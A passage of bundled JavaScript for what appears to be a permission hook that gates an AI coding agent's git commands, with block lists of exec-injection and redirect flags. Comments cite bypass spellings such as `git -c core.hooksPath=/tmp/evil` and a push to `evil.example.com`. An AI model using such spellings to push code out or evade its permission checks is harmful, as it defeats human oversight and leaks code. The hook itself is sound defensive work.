`node_modules` -- i.e. it names a location inside *any* installed package\n* tree, at any depth, including pnpm's virtual store\n* (`node_modules/.pnpm/<pkg>/node_modules/<pkg>/...`).\n*\n* **Deliberately not scoped to `cwd`**, unlike `targetsGitDir`. pnpm populates\n* `node_modules` with *hardlinks into the global content-addressable store*, so\n* a single in-place overwrite of an installed file (a plain `cp`, a `>`\n* redirect -- anything that opens the destination `O_WRONLY|O_TRUNC` rather than\n* unlinking it first) writes *through* the link and mutates the store's own\n* content-addressed file. That corrupts the package for the global store, every\n* other project on the machine that shares the inode, and every future install\n* or `pnpm dlx` that hardlinks it -- with no error at the scene, because the\n* directory that did the writing ends up perfectly consistent.\n*\n* This is exactly how a local `@bensandee/tooling` build landed on top of the\n* published 0.64.2 in the store on 2026-07-13: `cp -r <local>/dist/*` over a\n* scratch consumer's `node_modules/@bensandee/tooling/dist/`. The destination\n* was outside `cwd` -- so a cwd-scoped check would not have seen it -- and the\n* store stayed broken until a consumer's `pnpm dlx` failed days later with\n* `ERR_MODULE_NOT_FOUND` for a chunk that no published tarball has ever\n* contained.\n*\n* The lesson encoded here: **cwd-containment is not a safety boundary for\n* `node_modules`.** A path inside it is not \"in the project\" in any meaningful\n* sense -- it is a shared, machine-global resource wearing a local path. Hence\n* every segment of the *resolved* path is checked, wherever it lands.\n*\n* Matches on a path *segment*, not a substring, so `src/node_modules_helper.ts`\n* and `docs/node_modules.md` are not mistaken for the real thing.\n*/\nfunction targetsNodeModules(filePath, cwd) {\n return resolveIn(cwd, filePath).split(/[/\\\\]/).includes(\"node_modules\");\n}\n\n//#endregion\n//#region src/rules.ts\nconst GIT_READ_OPS = /* @__PURE__ */ new Set([\n \"status\",\n \"log\",\n \"diff\",\n \"show\",\n \"blame\",\n \"grep\",\n \"shortlog\",\n \"range-diff\",\n \"describe\",\n \"branch\",\n \"remote\",\n \"fetch\",\n \"ls-files\",\n \"ls-tree\",\n \"ls-remote\",\n \"show-ref\",\n \"for-each-ref\",\n \"rev-parse\",\n \"rev-list\",\n \"cat-file\",\n \"diff-tree\",\n \"name-rev\",\n \"merge-base\",\n \"check-ignore\"\n]);\n/** Git subcommands that modify the working tree, index, or history. */\nconst GIT_WRITE_OPS = /* @__PURE__ */ new Set([\n \"push\",\n \"add\",\n \"commit\",\n \"reset\",\n \"merge\",\n \"rebase\",\n \"cherry-pick\",\n \"checkout\",\n \"switch\",\n \"stash\",\n \"tag\",\n \"revert\",\n \"clean\",\n \"rm\",\n \"mv\"\n]);\n/** Flags on git that enable arbitrary code execution */\nconst GIT_DANGEROUS_FLAGS = /* @__PURE__ */ new Set([\n \"-c\",\n \"--exec-path\",\n \"--pager\",\n \"--upload-pack\",\n \"--receive-pack\"\n]);\n/** Git global flags that consume the next token as an argument. */\nconst GIT_FLAGS_WITH_ARG = /* @__PURE__ */ new Set([\n \"-C\",\n \"-c\",\n \"--git-dir\",\n \"--work-tree\"\n]);\n/** Extract the git subcommand (first non-flag token after \"git\"), skipping flag arguments. */\nfunction getGitSubcommand(tokens) {\n const args = tokens.slice(1);\n for (let i = 0; i < args.length; i++) {\n const t = args[i];\n if (GIT_FLAGS_WITH_ARG.has(t)) {\n i++;\n continue;\n }\n if (t.startsWith(\"-\")) continue;\n return t;\n }\n}\nfunction isGitReadOp(tokens) {\n for (const t of tokens.slice(1)) {\n if (GIT_DANGEROUS_FLAGS.has(t) || t === \"-o\" || t.startsWith(\"--output\")) return false;\n if (t.startsWith(\"--exec-path=\") || t.startsWith(\"--pager=\") || t.startsWith(\"--upload-pack=\") || t.startsWith(\"--receive-pack=\") || t.startsWith(\"-o=\") || t.startsWith(\"--output=\")) return false;\n }\n const sub = getGitSubcommand(tokens);\n if (!sub) return false;\n if (sub === \"stash\") {\n const stashAction = tokens[tokens.indexOf(\"stash\") + 1];\n return stashAction === \"list\" || stashAction === void 0;\n }\n if (sub === \"remote\") {\n let actionIdx = tokens.indexOf(\"remote\") + 1;\n while (tokens[actionIdx] === \"-v\" || tokens[actionIdx] === \"--verbose\") actionIdx++;\n const remoteAction = tokens[actionIdx];\n return remoteAction === void 0 || remoteAction === \"-v\" || remoteAction === \"--verbose\" || remoteAction === \"show\" || remoteAction === \"get-url\";\n }\n return GIT_READ_OPS.has(sub);\n}\nfunction isGitWriteOp(tokens) {\n const sub = getGitSubcommand(tokens);\n if (!sub) return false;\n if (sub === \"stash\") {\n const stashAction = tokens[tokens.indexOf(\"stash\") + 1];\n if (stashAction === \"list\" || stashAction === void 0) return false;\n }\n return GIT_WRITE_OPS.has(sub);\n}\n/** Safe stash actions that don't risk data loss. */\nconst STASH_SAFE_ACTIONS = /* @__PURE__ */ new Set([\n \"push\",\n \"pop\",\n \"apply\",\n \"show\"\n]);\n/**\n* Positional (non-flag) path arguments of a `git mv` command. The caller only\n* invokes this once the subcommand is known to be `mv`, so `mv` is present.\n* `git mv` flags (-f/--force, -k, -n/--dry-run, -v/--verbose) never consume a\n* separate argument, so every non-flag token after `mv` is a path.\n*/\nfunction gitMvPaths(tokens) {\n const mvIdx = tokens.indexOf(\"mv\");\n return tokens.slice(mvIdx + 1).filter((t) => !t.startsWith(\"-\"));\n}\n/**\n* True when a short-option letter appears in any cluster after `sub`, or one of\n* `longFlags` appears verbatim. Neither `git rm` nor `git clean` has a short\n* flag taking an attached value, so a plain character scan is exact for them;\n* `git clean -e<pattern>` does, and a pattern containing the letter only ever\n* produces a false positive, which leaves the caller on the deny side.\n*/\nfunction hasShortLetterOrLongFlag(tokens, sub, letter, longFlags) {\n for (const t of tokens.slice(tokens.indexOf(sub) + 1)) {\n if (!t.startsWith(\"-\")) continue;\n if (t.startsWith(\"--\")) {\n if (longFlags.includes(t)) return true;\n continue;\n }\n if (t.slice(1).includes(letter)) return true;\n }\n return false;\n}\n/**\n* `git mv` and `git rm` are not auto-approvable, but they are not known-unsafe\n* either: the shell spellings they mirror already reach a prompt, and `git rm`\n* additionally refuses a file carrying uncommitted changes unless forced -- so\n* denying it while prompting for `rm` inverts the tiers.\n*\n* `git rm -r` stays denied to mirror the `rm-recursive` rule, which cannot\n* cover it: that rule matches on tokens[0] (`/^rm$/`) and never sees `git`.\n*/\nfunction isGitWorktreeMoveOrRemove(tokens) {\n const sub = getGitSubcommand(tokens);\n if (sub !== \"mv\" && sub !== \"rm\") return false;\n if (hasGitPreSubcommandDangerousFlag(tokens, sub)) return false;\n if (sub === \"rm\" && hasShortLetterOrLongFlag(tokens, sub, \"r\", [\"--recursive\"])) return false;\n return true;\n}\nconst WORKTREE_ADVICE = \"You're creating a feature branch in the primary worktree. An isolated worktree keeps this work independent of other windows, and with no commits on this branch yet, converting is cheap -- `git worktree add ../<dir> -b <branch>` (a sibling outside the repo, with its own dependency install). But it is the home of a **separate session opened there**: writes to a path outside this session's project directory are denied, so this session cannot edit it. If you cannot open a session there, stay in the primary checkout on this branch and check `git branch --show-current` before each commit.\";\n/**\n* True when the command creates a branch: `git checkout -b/-B` or\n* `git switch -c/-C`, including those letters carried in a short-option\n* cluster with other letters or an attached value (`-bfix-bug`, `-qc\n* feat/x`). A plain `git switch <branch>` is not creation. Long spellings\n* (`--create`, `--force-create`) are deliberately not recognized as creation\n* here -- only the short grammar is in scope.\n*/\nfunction isGitBranchCreation(tokens) {\n const sub = getGitSubcommand(tokens);\n if (sub !== \"checkout\" && sub !== \"switch\") return false;\n const after = tokens.slice(tokens.indexOf(sub) + 1);\n const creationLetters = sub === \"checkout\" ? [\"b\", \"B\"] : [\"c\", \"C\"];\n return after.some((t) => {\n const cluster = splitShortOptionCluster(t, sub);\n return cluster !== void 0 && cluster.letters.some((l) => creationLetters.includes(l));\n });\n}\n/**\n* Every branch name a force-create spelling in `after` (the tokens following\n* the subcommand -- and past `add`, for `worktree add`) targets. Usually zero\n* or one, but git's last-occurrence-wins on a repeated force-create flag is\n* not modeled: every occurrence contributes its target, so a repeated flag\n* (`git switch -C main -C feat/x`) denies conservatively rather than\n* resolving which one wins.\n*\n* Grammar, reusing `splitShortOptionCluster`: a cluster whose letters include\n* the force letter (`C` for switch, `B` for checkout and worktree add)\n* contributes its attached value when non-empty, else the next argv token;\n* an unambiguous prefix of `--force-create` (switch only -- `--force-` is\n* the shortest, since `--force` is itself a distinct exact option) contributes\n* the next argv token; the same prefix with a `=<name>` suffix contributes the\n* attached name. A force-create flag with nothing after it (a valueless\n* trailing `-C`, or `--force-create` as the last token) resolves no target\n* for that occurrence -- git errors on the command anyway, so today's routing\n* is preserved.\n*/\nfunction gitForceCreateTargets(after, letterSub) {\n const forceLetter = letterSub === \"switch\" ? \"C\" : \"B\";\n const targets = [];\n for (let i = 0; i < after.length; i++) {\n const t = after[i];\n if (t === void 0) continue;\n if (letterSub === \"switch\") {\n const [flag, ...rest] = t.split(\"=\");\n if (flag !== void 0 && flag.length >= 8 && \"--force-create\".startsWith(flag)) {\n const target = rest.length > 0 ? rest.join(\"=\") : after[i + 1];\n if (target !== void 0) targets.push(target);\n continue;\n }\n }\n const cluster = splitShortOptionCluster(t, letterSub);\n if (cluster === void 0 || !cluster.letters.includes(forceLetter)) continue;\n if (cluster.attachedValue !== void 0 && cluster.attachedValue !== \"\") {\n targets.push(cluster.attachedValue);\n continue;\n }\n const next = after[i + 1];\n if (next !== void 0) targets.push(next);\n }\n return targets;\n}\n/**\n* Every branch name a force-create spelling targets in a full `git ...`\n* command: `switch -C`/`--force-create`, `checkout -B`, or `worktree add -B`.\n* Any other subcommand -- including `worktree list`/`remove`/`move` -- always\n* resolves no target. `worktree add` reuses checkout's `-b`/`-B` grammar\n* (identical required-value letter), so no new letter set is needed.\n*/\nfunction gitCommandForceCreateTargets(tokens) {\n const sub = getGitSubcommand(tokens);\n if (sub === \"switch\" || sub === \"checkout\") return gitForceCreateTargets(tokens.slice(tokens.indexOf(sub) + 1), sub);\n if (sub === \"worktree\") {\n const worktreeIdx = tokens.indexOf(\"worktree\");\n if (tokens[worktreeIdx + 1] !== \"add\") return [];\n return gitForceCreateTargets(tokens.slice(worktreeIdx + 2), \"checkout\");\n }\n return [];\n}\n/**\n* True when a `switch`/`checkout`/`worktree add` command force-creates a\n* branch under a name in the protected set. Force-create resets an existing\n* branch to the start point (HEAD by default) rather than merely creating\n* it, so this is a claim about the TOKENS, not the current branch -- unlike\n* isGitProtectedBranchWrite (below), this never calls getCurrentBranch and is\n* valid even outside a repository, where main/master are protected\n* unconditionally.\n*/\nfunction isGitProtectedBranchForceCreate(tokens, ctx) {\n const targets = gitCommandForceCreateTargets(tokens);\n if (targets.length === 0) return false;\n const protectedSet = getProtectedBranches(ctx.cwd, ctx.repoProtectedBranches ?? []);\n return targets.some((t) => protectedSet.has(t));\n}\n/**\n* True when a global flag sits before the subcommand that enables config or\n* executable injection (GIT_DANGEROUS_FLAGS) or repoints git at an arbitrary\n* directory (GIT_REPO_REDIRECT_FLAGS). Global flags sit *before* the\n* subcommand; only that span is inspected so a positional argument that\n* happens to be spelled \"-C\" is never mistaken for the flag. Shared by\n* isGitSafeWriteOp and isGitBareCheckout -- mirrors isGitFeatureBranchWrite's\n* and isGitSafePush's identical scans (same constants, same rationale).\n* Without this, `git -c core.hooksPath=/tmp/evil add file.txt` or\n* `git -C /etc worktree add ../wt feat/x` would auto-approve via the\n* branches below.\n*/\nfunction hasGitPreSubcommandDangerousFlag(tokens, sub) {\n const subIdx = tokens.indexOf(sub);\n for (const t of tokens.slice(1, subIdx)) {\n if (GIT_DANGEROUS_FLAGS.has(t) || GIT_REPO_REDIRECT_FLAGS.has(t)) return true;\n if (t.startsWith(\"--exec-path=\") || t.startsWith(\"--pager=\") || t.startsWith(\"--upload-pack=\") || t.startsWith(\"--receive-pack=\") || t.startsWith(\"--git-dir=\") || t.startsWith(\"--work-tree=\")) return true;\n }\n return false;\n}\n/**\n* True for a `checkout` that isn't branch creation (`-b`/`-B`, which stays\n* auto-approved via isGitSafeWriteOp -- deny rules run before allow rules\n* unconditionally, so a predicate that forgot to exclude them would start\n* denying branch creation) and carries no global config/exec-injection or\n* repo-redirect flag (those keep routing to the git-write catch-all, whose\n* message already covers them).\n*\n* `git checkout <ref>` (branch change) and `git checkout -- <path>` / `git\n* checkout <ref> -- <path>` (file restore) are not distinguishable from\n* syntax alone, so this predicate -- and the single deny rule built on it --\n* deliberately covers both shapes with one message carrying both redirects,\n* rather than two rules guessing at which one a bare `git checkout <arg>` is.\n*/\nfunction isGitBareCheckout(tokens) {\n const sub = getGitSubcommand(tokens);\n if (sub !== \"checkout\") return false;\n if (isGitBranchCreation(tokens)) return false;\n return !hasGitPreSubcommandDangerousFlag(tokens, sub);\n}\n/**\n* `git checkout -- <path>` restores files; the separator makes the argument\n* unambiguously a path rather than a branch. It discards uncommitted work, so\n* it is never auto-approved -- but `git restore -- <path>`, the spelling\n* git-bare-checkout's reason redirects to, only prompts. One risk, one tier.\n*\n* A `-f` spelling still denies: git-discard-changes is evaluated first.\n*\n* A trailing separator with nothing after it (`git checkout main --`, `git\n* checkout --`) is not a restore -- there is no pathspec to redirect to\n* `git restore`, so it keeps the bare-checkout deny.\n*/\nfunction isGitCheckoutPathRestore(tokens) {\n const sub = getGitSubcommand(tokens);\n if (sub !== \"checkout\") return false;\n if (hasGitPreSubcommandDangerousFlag(tokens, sub)) return false;\n const rest = tokens.slice(tokens.indexOf(sub) + 1);\n const separatorIndex = rest.indexOf(\"--\");\n if (separatorIndex === -1) return false;\n return rest.slice(separatorIndex + 1).some((token) => !token.startsWith(\"-\"));\n}\n/**\n* True when a `switch`/`checkout` command carries a discard-changes spelling\n* after the subcommand: a prefix of `--force` or of `--discard-changes` (`--f`\n* and `--di` and longer -- git's parse-options accepts any unambiguous\n* long-option prefix), or a short cluster whose letters (before any\n* required-value option's attached value) contain `f`.\n*\n* Both long tests read `\"--force\".startsWith(token)`, never\n* `token.startsWith(\"--force\")`. `--force-create` shares the `--force` stem\n* and is a safe, auto-approved flag, so the reversed test would start denying\n* branch creation -- deny rules run before allow rules.\n*\n* This predicate has to be exhaustive rather than merely picking the deny\n* message: isGitUnrecognizedBranchFlag routes a flag outside the safe sets to\n* a human prompt, so a discard spelling missed here would soften to a prompt\n* instead of falling through to a deny.\n*/\nfunction isGitDiscardChanges(tokens) {\n const sub = getGitSubcommand(tokens);\n if (sub !== \"switch\" && sub !== \"checkout\") return false;\n return tokens.slice(tokens.indexOf(sub) + 1).some((t) => {\n if (t.length >= 3 && \"--force\".startsWith(t)) return true;\n if (t.length >= 4 && \"--discard-changes\".startsWith(t)) return true;\n return splitShortOptionCluster(t, sub)?.letters.includes(\"f\") ?? false;\n });\n}\n/**\n* Tokens safe after `switch`, exact-match only. An allowlist rather than a\n* denylist of `-f`/`--discard-changes`: git accepts unambiguous prefixes\n* (`--disc`) and short clusters (`-fc`), so a denylist of exact spellings\n* would not hold. `-` (previous-branch shorthand) is flag-shaped and must be\n* listed explicitly, or it would fall through to the deny side.\n*/\nconst GIT_SWITCH_SAFE_FLAGS = /* @__PURE__ */ new Set([\n \"-c\",\n \"-C\",\n \"--create\",\n \"--force-create\",\n \"-d\",\n \"--detach\",\n \"-t\",\n \"--track\",\n \"--track=direct\",\n \"--track=inherit\",\n \"--no-track\",\n \"--guess\",\n \"--no-guess\",\n \"-q\",\n \"--quiet\",\n \"--progress\",\n \"--no-progress\",\n \"-\"\n]);\n/**\n* Tokens safe after `checkout`, kept separate from the switch set: `-c` is a\n* switch-only spelling and `-b`/`-B` are checkout-only, and sharing one set\n* would auto-approve each subcommand's flags on the other.\n*/\nconst GIT_CHECKOUT_SAFE_FLAGS = /* @__PURE__ */ new Set([\n \"-b\",\n \"-B\",\n \"-t\",\n \"--track\",\n \"--track=direct\",\n \"--track=inherit\",\n \"--no-track\",\n \"--guess\",\n \"--no-guess\",\n \"-q\",\n \"--quiet\",\n \"--progress\",\n \"--no-progress\"\n]);\n/**\n* True when a flag-shaped switch/checkout token is safe: it is an exact\n* member of `safe`, or the helper reads it as a cluster whose every letter,\n* spelled `-<letter>`, is a member of `safe`. Exact-set membership is always\n* tried first and is the only test a non-cluster token (`-`, every long\n* flag) ever gets, so those keep matching exactly as they do today -- the\n* cluster reading is a fallback for short clusters only.\n*/\nfunction isSafeSwitchCheckoutFlag(t, sub, safe) {\n if (safe.has(t)) return true;\n const cluster = splitShortOptionCluster(t, sub);\n return cluster !== void 0 && cluster.letters.every((l) => safe.has(`-${l}`));\n}\n/**\n* True for a `switch`, or a branch-creating `checkout`, that the safe-flag\n* allowlists reject only because a flag is unrecognized -- `--orphan`,\n* `--conflict=`, `--recurse-submodules`, an abbreviation of a safe flag.\n* Ambiguous, not known-unsafe: the allowlists enumerate what has been\n* reasoned about, and a legitimate flag nobody listed must reach a human\n* prompt rather than a hard deny (blocking something safe is the failure\n* direction this hook does not accept). Mirrors\n* isGitPushWithoutExplicitRefspec's role in the same git-write `when`.\n*\n* Three shapes are deliberately left to deny instead: a discard spelling\n* (git-discard-changes, and isGitDiscardChanges is exhaustive so that this\n* predicate cannot soften one to a prompt), a `checkout` that creates no\n* branch (git-bare-checkout, whose message carries the restore redirect), and\n* a global config/exec-injection or repo-redirect flag, which keeps routing to\n* the git-write catch-all exactly as isGitBareCheckout leaves it.\n*/\nfunction isGitUnrecognizedBranchFlag(tokens) {\n const sub = getGitSubcommand(tokens);\n if (sub !== \"switch\" && sub !== \"checkout\") return false;\n if (isGitDiscardChanges(tokens)) return false;\n if (hasGitPreSubcommandDangerousFlag(tokens, sub)) return false;\n const after = tokens.slice(tokens.indexOf(sub) + 1);\n if (sub === \"checkout\" && !isGitBranchCreation(tokens)) return false;\n const safe = sub === \"switch\" ? GIT_SWITCH_SAFE_FLAGS : GIT_CHECKOUT_SAFE_FLAGS;\n return after.some((t) => t.startsWith(\"-\") && !isSafeSwitchCheckoutFlag(t, sub, safe));\n}\n/**\n* Git write operations that are safe to auto-approve:\n* - `git add` -- staging is trivially reversible\n* - `git checkout -b/-B` -- branch creation, without a discarding flag\n* - `git switch -c/-C` -- branch creation, without a discarding flag\n* - `git switch <branch>` -- branch switching, without a discarding flag\n* (switch only handles branches, unlike checkout)\n* - `git stash` / `git stash push|pop|apply|show` -- reversible stash operations\n* - `git mv` -- only when every path is a `.md` file under `docs/` (plan-lifecycle moves)\n*/\nfunction isGitSafeWriteOp(tokens, ctx) {\n const sub = getGitSubcommand(tokens);\n if (!sub) return false;\n if (hasGitPreSubcommandDangerousFlag(tokens, sub)) return false;\n if (sub === \"add\") return true;\n if (sub === \"mv\") {\n const GIT_MV_UNSAFE_FLAGS = /* @__PURE__ */ new Set([\n \"-C\",\n \"--git-dir\",\n \"--work-tree\",\n \"-c\",\n \"--exec-path\"\n ]);\n if (tokens.some((t) => GIT_MV_UNSAFE_FLAGS.has(t) || t.startsWith(\"--exec-path=\"))) return false;\n const paths = gitMvPaths(tokens);\n return paths.length >= 2 && paths.every((p) => isDocsMarkdownPath(p, ctx));\n }\n if (sub === \"checkout\") {\n const afterCheckout = tokens.slice(tokens.indexOf(\"checkout\") + 1);\n if (!isGitBranchCreation(tokens)) return false;\n if (!afterCheckout.every((t) => !t.startsWith(\"-\") || isSafeSwitchCheckoutFlag(t, \"checkout\", GIT_CHECKOUT_SAFE_FLAGS))) return false;\n return !isGitProtectedBranchForceCreate(tokens, ctx);\n }\n if (sub === \"switch\") {\n if (!tokens.slice(tokens.indexOf(\"switch\") + 1).every((t) => !t.startsWith(\"-\") || isSafeSwitchCheckoutFlag(t, \"switch\", GIT_SWITCH_SAFE_FLAGS))) return false;\n return !isGitProtectedBranchForceCreate(tokens, ctx);\n }\n if (sub === \"stash\") {\n const stashAction = tokens[tokens.indexOf(\"stash\") + 1];\n if (stashAction === void 0) return true;\n return STASH_SAFE_ACTIONS.has(stashAction);\n }\n if (sub === \"worktree\") {\n const worktreeAction = tokens[tokens.indexOf(\"worktree\") + 1];\n if (worktreeAction !== \"list\" && worktreeAction !== \"add\") return false;\n return !isGitProtectedBranchForceCreate(tokens, ctx);\n }\n return false;\n}\n/** Git subcommands eligible for the feature-branch auto-approval. */\nconst GIT_FEATURE_BRANCH_OPS = /* @__PURE__ */ new Set([\n \"commit\",\n \"merge\",\n \"rebase\",\n \"cherry-pick\",\n \"revert\",\n \"reset\"\n]);\n/** Global git flags that redirect the effective repository/work tree. */\nconst GIT_REPO_REDIRECT_FLAGS = /* @__PURE__ */ new Set([\n \"-C\",\n \"--git-dir\",\n \"--work-tree\"\n]);\n/**\n* Checks (2)-(4) of the feature-branch predicate -- subcommand membership\n* plus the three flag guards -- with the branch check (5) left out. \"Eligible\n* but for the branch\": isGitFeatureBranchWrite adds \"and the branch isn't\n* protected\", isGitProtectedBranchWrite adds \"and the branch is protected\".\n* A command this rejects (a dangerous flag, say) has no valid redirect to\n* the feature-branch path either way -- it stays on the git-write catch-all,\n* which is why both callers share this instead of each re-deriving their own\n* notion of \"would work on a feature branch\".\n*/\nfunction isGitFeatureBranchEligible(tokens) {\n const sub = getGitSubcommand(tokens);\n if (!sub || !GIT_FEATURE_BRANCH_OPS.has(sub)) return false;\n for (const t of tokens.slice(1)) {\n if (GIT_DANGEROUS_FLAGS.has(t)) return false;\n if (t === \"-o\" || t.startsWith(\"--output\")) return false;\n if (t.startsWith(\"--exec-path=\") || t.startsWith(\"--pager=\") || t.startsWith(\"--upload-pack=\") || t.startsWith(\"--receive-pack=\") || t.startsWith(\"-o=\")) return false;\n }\n for (const t of tokens.slice(1)) {\n if (GIT_REPO_REDIRECT_FLAGS.has(t)) return false;\n if (t.startsWith(\"--git-dir=\") || t.startsWith(\"--work-tree=\")) return false;\n }\n if (sub === \"rebase\") {\n for (const t of tokens.slice(1)) if (t === \"--exec\" || t === \"-x\" || t.startsWith(\"--exec=\")) return false;\n }\n return true;\n}\n/**\n* True when:\n* 1.-4. isGitFeatureBranchEligible(tokens);\n* 5. getCurrentBranch(ctx.cwd) is non-null AND not in the protected set.\n*\n* Both must hold. Any failure -> return false and let the deny rules fire.\n*/\nfunction isGitFeatureBranchWrite(tokens, ctx) {\n if (!isGitFeatureBranchEligible(tokens)) return false;\n const current = getCurrentBranch(ctx.cwd);\n if (current === null) return false;\n return !getProtectedBranches(ctx.cwd, ctx.repoProtectedBranches ?? []).has(current);\n}\n/**\n* True when a write is eligible for the feature-branch auto-approval\n* (isGitFeatureBranchEligible) but the current branch is known and\n* protected. An unknown branch -- detached HEAD, outside a repo, git state\n* unreadable -- must NOT take this rule: \"you are on a protected branch\" is\n* a claim the hook cannot make there, so those keep falling through to the\n* git-write catch-all.\n*/\nfunction isGitProtectedBranchWrite(tokens, ctx) {\n if (!isGitFeatureBranchEligible(tokens)) return false;\n const current = getCurrentBranch(ctx.cwd);\n if (current === null) return false;\n return getProtectedBranches(ctx.cwd, ctx.repoProtectedBranches ?? []).has(current);\n}\n/** Push flags that move refs we never auto-approve: bulk, tags, deletes. */\nconst GIT_PUSH_UNSAFE_FLAGS = /* @__PURE__ */ new Set([\n \"--mirror\",\n \"--all\",\n \"--tags\",\n \"--follow-tags\",\n \"--delete\",\n \"-d\",\n \"--prune\"\n]);\n/**\n* Push-specific flags that redirect the destination or the remote-side helper\n* program independently of the positional remote/refspec parsing below.\n* `--repo` is equivalent to (and overrides) the positional <repository>\n* argument -- `git push --repo=<url>` can push to an arbitrary host even with\n* zero positional args, bypassing the \"known remote\" check entirely.\n* `--receive-pack`/`--exec` tell git which program to invoke as the remote\n* helper; on local/dumb transports git runs that program directly, so this is\n* local code execution, not just a remote-side concern. All three are unlike\n* `-C`/`--git-dir`/`--work-tree` (GIT_REPO_REDIRECT_FLAGS) in that they are\n* push subcommand options, not global git flags, so they only need checking\n* after the subcommand -- but the checking still has to happen.\n*/\nconst GIT_PUSH_DANGEROUS_FLAGS = /* @__PURE__ */ new Set([\n \"--repo\",\n \"--receive-pack\",\n \"--exec\"\n]);\nconst GIT_PUSH_DANGEROUS_FLAG_PREFIXES = [\n \"--repo=\",\n \"--receive-pack=\",\n \"--exec=\"\n];\n/**\n* `-o`/`--push-option` send a string to the receiving hook -- but the reason\n* they must be rejected here is parsing, not the hook side effect. Unlike\n* `--repo`/`--receive-pack`/`--exec` above, which only ever appear as\n* `--flag=value`, `-o`/`--push-option` take a *space-separated* value\n* (`-o origin https://evil.example.com/x.git HEAD`). Left unrejected, that\n* value token survives the `!t.startsWith(\"-\")` positional filter below and\n* is mistaken for the remote, silently shifting the real destination into\n* the refspec position -- bypassing the \"known remote\" check in (5) entirely.\n* The `=` forms (`-o=value`, `--push-option=value`) aren't exploitable this\n* way (the URL stays a refspec and gets caught by the remote check), but are\n* rejected too rather than relying on that distinction holding up.\n*/\nconst GIT_PUSH_VALUE_FLAGS = /* @__PURE__ */ new Set([\"-o\", \"--push-option\"]);\nconst GIT_PUSH_VALUE_FLAG_PREFIXES = [\"-o=\", \"--push-option=\"];\n/**\n* The ref a refspec writes to. `src:dst` targets dst; a bare `ref` targets the\n* same name on the remote. Strips the leading \"+\" (force) -- callers reject that\n* separately -- and any `refs/heads/` prefix.\n*/\nfunction refspecDestination(refspec) {\n const spec = refspec.startsWith(\"+\") ? refspec.slice(1) : refspec;\n const colon = spec.lastIndexOf(\":\");\n return (colon === -1 ? spec : spec.slice(colon + 1)).replace(/^refs\\/heads\\//, \"\");\n}\n/**\n* Structural safety check shared by `isGitSafePush` and\n* `isGitPushWithoutExplicitRefspec`. Every condition must hold:\n*\n* 1. No global dangerous flag (config/exec injection) or repo-redirect flag.\n* 2. No bulk/tag/delete flag (GIT_PUSH_UNSAFE_FLAGS), no --repo /\n* --receive-pack / --exec (GIT_PUSH_DANGEROUS_FLAGS), and no -o /\n* --push-option (GIT_PUSH_VALUE_FLAGS) -- these redirect the destination,\n* the remote-side helper, or (for -o) the positional parse itself\n* independently of the remote/refspec parsing below, so they must be\n* rejected up front.\n* 3. No refspec begins with \"+\" -- a force-push the `--force` deny rule misses.\n* 4. Every refspec's *destination* is a non-protected branch, doesn't have\n* an empty source (\":branch\", the unflagged spelling of --delete/-d),\n* and isn't under refs/tags/ (the unflagged spelling of --tags). A\n* current-branch check alone would happily approve `git push origin\n* HEAD:main`.\n* 5. The remote, when named, is a configured remote -- never a URL or path, so\n* the repo cannot be pushed to an arbitrary host.\n* 6. The current branch is known and not protected.\n*\n* Deliberately does NOT require a refspec to be present -- an empty refspec\n* list (bare `git push` / `git push origin`) is structurally fine by these\n* six rules, it's just *ambiguous*: git resolves the actual destination from\n* push.default / branch.<x>.merge, config this hook does not (and, as of the\n* .git/ write deny rule, no longer needs to) trust. Callers decide what to do\n* with that ambiguity -- `isGitSafePush` requires refspecs.length > 0;\n* `isGitPushWithoutExplicitRefspec` requires the opposite, so the `git-write`\n* deny rule can route the ambiguous case to passthrough instead of a hard deny.\n*\n* Returns the parsed refspec list on success, or `null` on any failure.\n*/\nfunction gitPushStructuralRefspecs(tokens, ctx) {\n if (getGitSubcommand(tokens) !== \"push\") return null;\n const pushIdx = tokens.indexOf(\"push\");\n for (const t of tokens.slice(1, pushIdx)) {\n if (GIT_DANGEROUS_FLAGS.has(t) || GIT_REPO_REDIRECT_FLAGS.has(t)) return null;\n if (t.startsWith(\"--exec-path=\") || t.startsWith(\"--git-dir=\") || t.startsWith(\"--work-tree=\")) return null;\n }\n const after = tokens.slice(pushIdx + 1);\n if (after.some((t) => GIT_PUSH_UNSAFE_FLAGS.has(t) || GIT_PUSH_DANGEROUS_FLAGS.has(t) || GIT_PUSH_DANGEROUS_FLAG_PREFIXES.some((p) => t.startsWith(p)) || GIT_PUSH_VALUE_FLAGS.has(t) || GIT_PUSH_VALUE_FLAG_PREFIXES.some((p) => t.startsWith(p)))) return null;\n const current = getCurrentBranch(ctx.cwd);\n if (current === null) return null;\n const protectedSet = getProtectedBranches(ctx.cwd, ctx.repoProtectedBranches ?? []);\n if (protectedSet.has(current)) return null;\n const positional = after.filter((t) => !t.startsWith(\"-\"));\n const maybeRemote = positional[0];\n const refspecs = positional.slice(1);\n if (maybeRemote !== void 0 && !getRemotes(ctx.cwd).has(maybeRemote)) return null;\n for (const spec of refspecs) {\n if (spec.startsWith(\"+\")) return null;\n if (spec.startsWith(\":\")) return null;\n const dst = refspecDestination(spec);\n if (protectedSet.has(dst)) return null;\n if (dst.startsWith(\"refs/tags/\")) return null;\n }\n return refspecs;\n}\n/**\n* True when `git push` is safe to auto-approve: structurally safe (see\n* `gitPushStructuralRefspecs`) AND carries at least one explicit refspec\n* positional argument. Without one -- bare `git push`, or `git push <remote>`\n* with no refspec -- the destination comes from push.default /\n* branch.<x>.merge, which this rule does not resolve or trust; see\n* `isGitPushWithoutExplicitRefspec` for that case.\n*\n* `--force-with-lease` is deliberately permitted: it is the alternative the\n* `git-force-push` deny rule already points users at, and it is routine after a\n* rebase. `--force`/`-f` remain denied by that rule -- even when\n* `--force-with-lease` also appears; the lease does not downgrade an\n* unconditional force (see `isGitForcePush`).\n*\n* The \"cannot push to an arbitrary host\" guarantee in condition 5 holds only\n* because writes into .git/ (which is where `remote.<name>.url` lives) are\n* denied at the file-tool and path-argument layers (`git-dir-write` in\n* file-rules.ts, the `targetsGitDir` check in `arePathArgsSafe`) -- this\n* function only ever reads `getRemotes()`, it does not defend the state\n* `getRemotes()` reads from. An agent with un-gated filesystem write access\n* outside this hook (e.g. a tool this hook doesn't mediate) is not\n* containable by any of this.\n*/\nfunction isGitSafePush(tokens, ctx) {\n const refspecs = gitPushStructuralRefspecs(tokens, ctx);\n return refspecs !== null && refspecs.length > 0;\n}\n/**\n* True when `git push` is otherwise structurally safe (see\n* `gitPushStructuralRefspecs`) but carries no explicit refspec -- the\n* ambiguous case `isGitSafePush` rejects. Used only to keep the `git-write`\n* deny rule from firing for this shape, so it falls through to passthrough\n* (normal human review) 